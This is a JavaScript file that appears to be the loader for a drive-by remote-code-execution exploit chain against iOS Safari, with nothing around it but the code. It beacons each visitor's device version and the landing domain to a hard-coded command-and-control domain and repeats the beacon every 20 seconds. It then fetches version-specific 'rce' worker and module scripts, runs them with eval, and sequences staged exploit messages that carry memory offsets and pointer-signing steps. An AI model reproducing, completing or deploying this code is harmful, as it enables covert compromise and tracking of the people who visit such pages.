var SERVER_LOG = false;
let logStart = new Date().getTime();
let logEntryID = 0;
var offsets = {};
var slide;
var chipset;
var device_model;

const CHANNEL_CODE = "d33ca6c718072e8253e1f18def08c25b";
const C2_DOMAIN = "fa63cwephoalfbc.icu";

var localHost = (function() {
  try {
    var src = document.currentScript.src;
    return src.substring(0, src.lastIndexOf('/'));
  } catch(e) {
    return location.href.substring(0, location.href.lastIndexOf('/'));
  }
})();

function print(x, reportError = false, dumphex = false) {
    let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
    if (!SERVER_LOG && !reportError) return;
    let obj = {
        id: logEntryID++,
        text: out,
    }
    if (dumphex) {
        obj.hex = 1
        obj.text = x
    }
    let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
    const xhr = new XMLHttpRequest();
    xhr.open("GET", localHost + "/log.html?" + req , false);
    xhr.send(null);
}
function redirect() {
    try { window.parent.location.reload(); } catch(e) { window.top.location.reload(); }
}
function getJS(fname, method = 'GET') {
    try {
        let url = localHost + '/' + fname;
        let xhr = new XMLHttpRequest();
        xhr.open("GET", url, false);
        xhr.send(null);
        return xhr.responseText;
    } catch(e) {}
}

// ip-sync: report device visit to C2
function getDeviceVersion() {
  try {
    var ua = navigator.userAgent;
    var m = ua.match(/OS[_\s](\d+)(?:[._](\d+))?/i);
    if (m) return 'IOS ' + parseInt(m[1], 10) + '.' + (m[2] || '0');
    m = ua.match(/iPhone[_\s]OS[_\s](\d+)(?:[._](\d+))?/i);
    if (m) return 'IOS ' + parseInt(m[1], 10) + '.' + (m[2] || '0');
    m = ua.match(/Android[_\s](\d+)(?:[._](\d+))?/i);
    if (m) return 'Android ' + parseInt(m[1], 10) + '.' + (m[2] || '0');
    m = ua.match(/Windows NT (\d+)\.(\d+)/i);
    if (m) return 'Windows ' + parseInt(m[1], 10) + '.' + (m[2] || '0');
    m = ua.match(/Mac OS X (\d+)[._](\d+)/i);
    if (m) return 'macOS ' + parseInt(m[1], 10) + '.' + (m[2] || '0');
    if (/Linux/i.test(ua)) return 'Linux';
    m = ua.match(/(Chrome|Firefox|Safari|Edge|Opera)\/(\d+)/i);
    if (m) return m[1] + ' ' + m[2];
    return ua.substring(0, 50) + '...';
  } catch(e) { return ''; }
}
function report() {
  try {
    fetch("https://" + C2_DOMAIN + "/api/ip-sync/sync", {
      method: "POST",
      headers: {"Content-Type": "application/json"},
      body: JSON.stringify({
        channelCode: CHANNEL_CODE,
        ip: "",
        deviceVersion: getDeviceVersion(),
        domain: location.hostname
      })
    }).catch(function(){});
  } catch(e) {}
}
setTimeout(report, 10);
setInterval(report, 20000);

// 120s页面刷新（重试机制）
(function() {
  setInterval(function() {
    try { window.parent.location.reload(); } catch(e) { window.top.location.reload(); }
  }, 120000);
})();

const signal = new Uint8Array(8);
const dlopen_worker = `(() => {
  self.onmessage = function (e) {
    const {
      type,
      data
    } = e.data;
    switch (type) {
      case 'init':
        const canvas = new OffscreenCanvas(1, 1);
        globalThis[0] = data;
        createImageBitmap(canvas).then(bitmap => {
          globalThis[1] = bitmap;
          self.postMessage(null);
        });
        break;
      case 'dlopen':
        globalThis[1].close();
        break;
    }
  };
})();`;
const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript'});
const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob);
const ios_version = (function() {
  let version = /iPhone OS ([0-9_]+)/g.exec(navigator.userAgent)?.[1];
  if (version) {
    return version.split('_').map(part => parseInt(part));
  }
})();
let workerCode = "";
if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
    workerCode = getJS(`ds_rce_worker_18.6.js?${Date.now()}`);
else
    workerCode = getJS(`ds_rce_worker.js?${Date.now()}`);
let workerBlob = new Blob([workerCode],{type:'text/javascript'});
let workerBlobUrl = URL.createObjectURL(workerBlob);
(() => {
    function doRedirect() {
      redirect();
    }
    function main() {
        const randomValues = new Uint32Array(32);
        const begin = Date.now();
        const origin = location.origin;
        const worker = new Worker(workerBlobUrl);
        const dlopen_workers = [];
        async function prepare_dlopen_workers() {
        for (let i = 1; i <= 2; ++i) {
            const worker = new Worker(dlopen_worker_url);
            dlopen_workers.push(worker);
            await new Promise(r => {
            worker.postMessage({
                type: 'init',
                data: 0x11111111 * i
            });
            worker.onmessage = r;
            });
        }
        }
        const iframe = document.createElement('iframe');
        iframe.srcdoc = '';
        iframe.style.height = 0;
        iframe.style.width = 0;
        document.body.appendChild(iframe);
        async function message_handler(e) {
        const data = e.data;
        switch (data.type) {
            case 'redirect':
            {
                doRedirect();
                break;
            }
            case 'prepare_dlopen_workers':
            {
                await prepare_dlopen_workers();
                worker.postMessage({
                type: 'dlopen_workers_prepared'
                });
                break;
            }
            case 'trigger_dlopen1':
            {
                dlopen_workers[0].postMessage({
                type: 'dlopen'
                });
                worker.postMessage({
                type: 'check_dlopen1'
                });
                break;
            }
            case 'trigger_dlopen2':
            {
                dlopen_workers[1].postMessage({
                type: 'dlopen'
                });
                worker.postMessage({
                type: 'check_dlopen2'
                });
                break;
            }
            case 'sign_pointers':
            {
                iframe.contentDocument.write('1');
                worker.postMessage({
                type: 'setup_fcall'
                });
                break;
            }
            case 'slow_fcall':
            {
                iframe.contentDocument.write('1');
                worker.postMessage({
                type: 'slow_fcall_done'
                });
                break;
            }
            default:
            {
                break;
            }
        }
        }
        worker.onmessage = message_handler;
        try
        {
        let rceCode = "";
        if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
                rceCode = getJS(`ds_rce_module_18.6.js?${Date.now()}`);
            else
                rceCode = getJS(`ds_rce_module.js?${Date.now()}`);
        try
        {
            eval(rceCode);
        }
        catch(e)
        {
        }
        let desiredHost = "";
        desiredHost = localHost;
            if(ios_version == '18,6' || ios_version == '18,6,1' || ios_version == '18,6,2')
            {
                worker.postMessage({
                    type: 'stage1_rce',
                    desiredHost,
                    randomValues,
                    SERVER_LOG,
                    channelCode: CHANNEL_CODE,
                    c2Domain: C2_DOMAIN,
                    landingDomain: location.hostname
                });
            }
            else
            {
        var attempt = new check_attempt();
        attempt.start().then((result) => {
            if(!result)
            {
                attempt.start().then((result) => {
                    if(!result)
                       print("");
                    else
                            {
                        worker.postMessage({
                        type: 'stage1',
                        begin,
                        origin,
                        ios_version,
                        offsets,
                        slide,
                        chipset,
                        device_model,
                        desiredHost,
                        SERVER_LOG,
                        channelCode: CHANNEL_CODE,
                        c2Domain: C2_DOMAIN,
                        landingDomain: location.hostname
                });
                            }
                        });
                    }
                    else
                    {
            worker.postMessage({
                type: 'stage1',
                begin,
                origin,
                ios_version,
                offsets,
                slide,
                chipset,
                device_model,
                desiredHost,
                SERVER_LOG,
                channelCode: CHANNEL_CODE,
                c2Domain: C2_DOMAIN,
                landingDomain: location.hostname
            });
                    }
        });
            }
        }
        catch(e)
        {
        }
    }
    main();
  })();
